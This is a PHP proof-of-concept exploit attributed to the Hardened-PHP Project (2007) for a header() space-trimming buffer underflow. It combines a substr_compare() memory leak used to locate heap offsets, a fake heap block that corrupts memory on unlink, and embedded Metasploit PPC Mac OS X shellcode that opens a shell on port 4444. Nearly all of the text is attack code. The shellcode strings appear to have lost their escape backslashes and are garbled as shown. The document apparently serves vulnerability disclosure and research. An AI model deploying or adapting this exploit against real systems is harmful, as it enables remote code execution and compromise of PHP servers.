<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ | || || _ //
// | __ |/ _` || \'_|/ _` |/ -_)| \' / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\\__,_||_| \\__,_|\\___||_||_|\\___|\\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP header() Space Trimming Buffer Underflow Vulnerability //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die(\"REMOVE THIS LINE\");
// PPC MacOSX Portshell on 4444 from Metasploit
// (16 bytes added to make it compatible with unlink exploit)
$shellcode = \"x48x00x00x10x60x00x00x00x60x00x00x00x60x00x00x00\".
\"x7cxa5x2ax79x40x82xffxfdx7fxe8x02xa6x3bxffx07xfa\".
\"x38xa5xf8x4ax3cxc0x28x43x60xc6x84x76x38x85x07xee\".
\"x7cx89x03xa6x80x9fxf8x4ax7cx84x32x78x90x9fxf8x4a\".
\"x7cx05xf8xacx7cxffx04xacx7cx05xffxacx3bxc5x07xba\".
\"x7fxffxf2x15x42x20xffxe0x4cxffx01x2cx10x23x84x74\".
\"x10xc3x84x77x10xe3x84x70x10x43x84x17x6cx43x84x74\".
\"x54x43x86x0ex54x3dx9fx0ex60x43x84x7bx28x41x95x2a\".
\"x28x43x84x76x54xcbx86xd0x10xe3x84x66x10x43x84x1e\".
\"x57x80x77x0ex6cx43x84x74x54x43x86x0ex10x43x84x1c\".
\"x57x80x77x0ex6cx43x84x74x54x43x86x0ex57x80x77x0e\".
\"x10x43x84x68x10xc3x84x66xb8xc2x7bx9ex10xe2x7bx9e\".
\"x10xc2x7bx86x6cx43x84x74x54x43x86x0ex54x3dx9fx0e\".
\"x10xe3x84x74x10x43x84x2cx57x80x77x0ex54xe7xafx0e\".
\"x6cx43x84x74x54x43x86x0ex10xe6x7bx89x04x46x7bx89\".
\"x68xc1x7bx93x10x43x84x34x6cx43x84x74x54x43x86x0e\".
\"x54xe6xaex0fx68xc1x7bx8bx54x2bx86xd0x10x20x84x5e\".
\"xb8x22x7bx8exb8xe2x7bx8ax10xc2x7bx8ex10x43x84x4d\".
\"x54x43x80xdax6cx43x84x74x54x43x86x0ex57xa3x84x7e\".
\"x07x21xedx18x07x20xf7x1ex28x43x84x76\";
// Offsets used for the overwrite (will be overwritten by findOffsets()
$offset_1 = 0x55555555;
$offset_2 = 0x66666666;
findOffsets(); // Comment out if you want to just test the crash
// IF YOU OUTPUT ANYTHING THEN header() WILL FAIL
//printf(\"Using offsets %08x and %08x
\", $offset_1, $offset_2);
// Convert offsets into strings
$addr1 = pack(\"L\", $offset_1);
$addr2 = pack(\"L\", $offset_2);
// Memory Alignment stuff
$v1 = 1;
$v2 = 2;
// Block that will contain the fake memory block
$v1 = str_repeat(\"B\", 0x110-0x14);
// Prepare fake memory header
$v1[0] = chr(0);
$v1[1] = chr(0);
$v1[2] = chr(0);
$v1[3] = chr(4);
$v1[8] = $addr1[0];
$v1[9] = $addr1[1];
$v1[10] = $addr1[2];
$v1[11] = $addr1[3];
$v1[12] = $addr2[0];
$v1[13] = $addr2[1];
$v1[14] = $addr2[2];
$v1[15] = $addr2[3];
// Heap alignment
$v2 = str_repeat(\"A\", 400);
$v2 = str_repeat(\" \", 400);
// Trigger overflow
header($v2);
unset($v2);
// This function uses the substr_compare() vulnerability
// to get the offsets. In a remote exploit such offsets
// would get bruteforced
function findOffsets()
{
global $offset_1, $offset_2, $shellcode;
// We need to NOT clear these variables,
// otherwise the heap is too segmented
global $memdump, $d, $arr;
$sizeofHashtable = 39;
$maxlong = 0x7fffffff;
// Signature of a big endian Hashtable of size 256 with 1 element
$search = \"x00x00x01x00x00x00x00xffx00x00x00x01\";
$memdump = str_repeat(\"A\", 16000);
for ($i=0; $i<400; $i++) {
$d[$i]=array();
}
unset($d[350]);
$x = str_repeat(\"x01\", $sizeofHashtable);
unset($d[351]);
unset($d[352]);
$arr = array();
for ($i=0; $i<129; $i++) { $arr[$i] = 1; }
$arr[$shellcode] = 1;
for ($i=0; $i<129; $i++) { unset($arr[$i]); }
// If the libc memcmp leaks the information use it
// otherwise we only get a case insensitive memdump
$b = substr_compare(chr(65),chr(0),0,1,false) != 65;
for ($i=0; $i<16000; $i++) {
$y = substr_compare($x, chr(0), $i+1, $maxlong, $b);
$Y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
if ($y-$Y == 1 || $Y-$y==1){
$y = chr($y);
if ($b && strtoupper($y)!=$y) {
if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {
$y = strtoupper($y);
}
}
$memdump[$i] = $y;
} else {
$y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
$Y = substr_compare($x, chr(2), $i+1, $maxlong, $b);
if ($y-$Y != 1 && $Y-$y!=1){
$memdump[$i] = chr(1);
} else {
$memdump[$i] = chr(0);
}
}
}
// Search shellcode and hashtable and calculate memory address
$pos_shellcode = strpos($memdump, $shellcode);
$pos_hashtable = strpos($memdump, $search);
$addr = substr($memdump, $pos_hashtable+6*4, 4);
$addr = unpack(\"L\", $addr);
// Fill in both offsets
$offset_1 = $addr[1] + 32;
$offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4 - 8;
}
?>
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